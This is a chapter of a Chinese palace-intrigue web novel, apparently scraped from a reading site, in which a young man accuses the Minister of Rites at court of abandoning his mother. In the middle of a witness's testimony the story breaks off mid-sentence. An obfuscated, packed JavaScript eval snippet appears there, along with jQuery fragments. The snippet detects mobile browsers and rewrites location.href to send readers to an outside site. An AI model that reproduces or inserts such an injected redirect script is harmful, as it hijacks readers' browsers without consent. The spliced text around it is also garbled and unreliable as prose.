36.吃瓜看戏,男宠翻身

作品:《别和死对头有感情线

    柔嘉坐在周适安前面,面如沉水,眼带寒霜。


    她一错不错地盯紧司锦年和宋元才脸上的每一丝表情,企图从里面找到证明状告朝廷命官一事的证据,但遗憾的是除了宋元才一脸茫然震惊外,再无其他。而司锦年也仿佛早已将生死置之度外。


    “司锦年,”轩辕旻问,“你说礼部尚书欺辱良家抛妻弃子,你所指是谁,现在何处?”


    司锦年慢慢抬起头,眼眶因愤怒而染上薄红,看得轩辕旻眉头又是一皱。


    “回陛下,是草民的母亲齐氏,她于去岁冬天投井自尽,含恨而终。”


    “一派胡言!”张同初怒不可遏,“陛下,臣从未结识过什么齐氏,且臣与夫人一向举案齐眉,此事同僚之中多有知晓,陛下尽可以去查问,臣身正不怕影子斜!”


    “张爱卿稍安勿躁,”轩辕旻点点头,再次看向司锦年,“你说你母亲是因张尚书投井自尽,此事可有人证物证?若无确凿证据,朕便要发落你与驸马了。”


    “草民有证据!”


    司锦年从怀中掏出厚厚一沓信纸,由王和转交皇帝,里面一字一句全是齐氏声泪俱下的怨语,其中不乏对张同初的声讨谩骂,也有几处明确表示寻死之意。


    轩辕旻的脸色沉了下来。


    皇帝举着信纸问:“张尚书,这信上说,明德三年,你曾外放到禹州做官,此事确有其事?”


    堂中马上有臣子站出来说:“回陛下,臣与张大人乃同年进士。初进朝堂时,张大人与臣都是六品主事。圣祖爷为推行国政,选了一批官员下放地方,张大人也在其中,回京不久,他就取了已故贤德候之女,从此步步高升,官至尚书。”


    韩光瑞也站起身说:“陛下,此事臣也有些印象,外放做官一事,确定无疑。”


    张同初恨恨地看向韩光瑞,随即俯身再拜皇帝:“陛下!臣确实外放禹州,但从未欺辱良家,更没有抛妻弃子啊!臣府中唯有夫人一人,连妾室也无,满城上下谁人不知,谁人不晓!臣一生忠贞清正,怎么会做如此禽兽之举呢!”


    “好一个忠贞清正!”司锦年喝道。


    “张同初!是你诱骗我母亲与你有了夫妻之实,说会带她一起回京。但你却欺她骗她,回京后立刻娶了贤德候之女范氏,将我母亲抛诸脑后!”


    司锦年声泪俱下:“陛下,我母亲那时已经身怀有孕,为了等这个无情无情小人,忍受着乡间邻里无数白眼谩骂,更被父母赶出家门,全靠舅舅接济度日!可是他!”


    司锦年一怒之下站起来,恨不得一脚一上去,被一旁的侍卫及时拦下。他愤愤不平,隔着侍卫,指着张同初继续破口大骂:


    “这个衣冠禽兽根本不理会我母亲的死活!母亲难产差点丧命,死前唯一所念仍是与他缔结因缘,白首偕老!可是张同初张大人早已走通了贤德候的门路,打定主意要靠着岳父上位,哪里会在意一个商贾之女的死活!”


    “二十年啊,二十年啊!!!”司锦年咆哮着,“张同初,你在朝堂上叱咤风云,和贤德候一家和睦的时候,可曾想过禹州有一个女子为你流尽眼泪,求生不能,求死不得!”


    “陛下!”司锦年痛哭流涕,“此人禽兽行径逼杀人命,怎配入朝为官,怎配关居尚书!如果陛下的朝堂都是这等衣冠禽兽的败类,我大厦岂非穷途末路,岌岌可危!”


    “你放肆!”张同初冲上去甩了他一个巴掌,眼中的恶毒与怒火犹如一条毒蛇,恨不得直接咬破司锦年的喉咙。


    张同初义正严词否认:“陛下决不能听信此人危言耸听!臣是去过禹州外放做官,但绝没有和什么良家女子拉拉扯扯,更没有什么不知来路的私生子!臣为官多年,侍奉先帝辅佐陛下,一生清白难道要毁于此子吗?求陛下为老臣做主啊!”


    司锦年的控诉与张同初的反驳,同时在堂中掀起一股沸议。


    有人说司锦年说得有鼻子有眼,不像空口白牙。


    有人说张丞相一生光明磊落,与夫人相敬如宾,从未有过流连女色的传言。


    还有人说这是驸马爷的诡计,为的就是混淆视听,自己好逃出生天。


    宋元才听到后果然坐不住了,他颤颤巍巍地走到司锦年身边,半是害怕半是期待地问他:“锦年,你同我交好,就是为了找机会为你母亲伸冤吗?”


    司锦年看都不看他一眼,执拗地盯着台上的皇帝,希望他能尽快下旨处死张同初。宋元才见他如此,越加不平,他一把抓住他的肩膀,厉声道:


    “你说话啊!你跟我在一起就是为了给你母亲平冤吗?!”


    柔嘉冷笑一声,司锦年更是像看鬼一样看着他。


    “驸马爷,”司锦年嘲笑道,“你接近我,难道不是因为我长得像陛下的贵人吗?你装什么情深似海啊?”


    宋元才愣愣地看着他,接着脚下一软,跌跪在地。


    “恶心,无耻!”柔嘉在一旁骂道。


    周适安就坐在她左边,听见这两声根本不敢出声,也隐约懂了她为什么对自己客气又疏离,只是此事还不知轩辕旻要如何决断,他心中有些担心。


    轩辕旻把那些字体娟秀的小记又看了一遍,忽而眉头一皱:“这信上说,你与她乃是在一座酒楼结识,二人相谈甚欢,你受邀去她府上做客,张尚书,此事你可承认?”


    张同初听到此言,一下挺直腰板:“是!臣想起来了,当日臣与一同僚忙完公务后一起去酒楼吃饭,确实和一卖唱的烟花女子说过几句话,但也只是让她唱曲而已!绝没有什么相谈甚欢!陛下知道的,臣从未去过什么歌舞闹市,怎么可能和一个烟花女子有苟且之事呢?此事纯属有人造谣污蔑想要陷害老臣!”


    “你胡说!我娘才不是烟花女子!我娘是禹州商户之女,虽比不上王家家大业大,但也是实打实的基业,怎么就成了烟花女子了!你简直欺人太甚!”司锦年又要上去拳打脚踢,被侍卫死死按在地上。


    轩辕旻:“这事不难,来人,查一查当时与张大人一起外放地方的官员是谁,提上来,一问便知。”


    周适安看着众臣面面相觑,大家思量了甚久,忽然有一人站起,大步走到堂中,原来就是刚才指正张尚书外放一事的人。


    “启禀陛下,臣乃刑部员外郎沈如海,臣就是当年和尚书大人一起下放禹州的官员之一,酒楼一事,臣还有些印象。”


    轩辕旻扬声:“说。”


    沈如海一字一句道:“回陛下,臣记得当时酒楼里并无卖唱之人,只有一位容颜姣好的小姐和两个丫鬟一起用膳。因酒楼中多是男子,此事罕见,所以臣记得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740459|154248||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    张同初喊道:“沈大人可要三思啊!当日你我一同在酒楼喝酒,哪有什么带着丫鬟的小姐,那明明是卖场的歌姬!”


    “尚书大人怕是上了年纪记性不好。”


    沈如海嘲讽完,继续冷冰冰说:


    “当时臣也劝过,说还是吃完饭早些回府衙办差要紧。但是张大人说‘禹州遥远,宽松些也不妨’,继而主动上去攀谈结交,与那闺阁女子相识。陛下,臣在刑部做员外郎,官虽不大,但记性不差,凡经我手处理的案件卷宗,哪怕过去十年,臣依旧可以说出案件详情,绝无错漏。陛下若不信,可以询问刑部尚书萧大人,看看臣为官多年,是否记错过一件案情,说错过一条刑法。”


    萧云策本在看戏,没想对突然被点名,口里的茶差点喷出来。他一面在心里怪沈如呆板不知变通,活该这么多年还是个员外郎,一面迅速起身,声称沈如海确实记性奇佳,有时连他这个刑部尚书都得靠他提点才能免去一些麻烦。


    轩辕旻眯起眼,嘴边似乎积起一点笑:“这么说,张尚书确实在禹州结识过一位女子,与她闲云野鹤,有了一段佳话?”


    张同初大喊冤枉:“陛下明鉴啊!臣没有,臣真的没有啊!就算臣记错了,那女子不是烟花歌姬之流,也不能证明臣就有逼杀良家,抛妻弃子的过失啊!陛下切不可听信小人谗言啊!”


    “到底谁才是小人!”司锦年狂吼一声,“当年我母亲得知你成亲的消息,带着我连夜赶来京师,却被你拒之门外,家丁仆从更是把我们母子当成野狗一样驱赶!好一个贤德候的女婿,好一个平步青云张大人!你岳丈在天有灵,若知道你这幅巧言令色伪善可恨的嘴脸,不知还会不会穷尽心血的提拔你!帮衬你!”


    “陛下!臣又想起来了!”沈如海突然抬起头,大喊一声。


    “沈爱卿有话直说。”


    周适安发现轩辕旻眼底有笑意,忍不住得意地挑了下眉。


    “臣记得张大人刚成亲后有一次约臣去喝酒,回家时明明可以走大路,他却故意命马车绕道而行,更是拉着臣喝到宵禁方散。陛下知道,臣在刑部做事,难免会对一些异常之举过分上心,事后留心探查,发现张府门外有一女子抱着婴孩徘徊,但两三日后就不见了。臣当时没多想,以为那是张家什么人的穷亲戚,所以没有在意。”


    张同初气到跳脚,站起来骂道:“沈如海!我与你无冤无仇啊!你怎么能血口喷人,落井下石啊你!”


    “谁说我们无冤无仇?”深如海静静道,“那夜你害得我险些进不去家门,被夫人骂了整整一夜,我跪在卧室外,一夜没能合眼。”


    “你,你你......”张同初气得说不出话来,“就为了这个?!”


    “君子报仇,十年不晚。”沈如海冷冷看着他说。


    “张大人,剩下的事是你自己说,还是我帮你想起来?”沈如海继续说道。


    “你放心。虽然我们同年为官,你已是尚书,我还是员外郎;虽然你贤名在我,我却屡遭同僚嘲讽排挤;虽然你得陛下看重,而我从未有机会进过御书房——”


    “我都不会虚构罪名迫害于你。”


    沈如海将视移向轩辕旻:“因为我身在刑部,掌得是大厦律法,捍卫的是我大厦的万古山河。”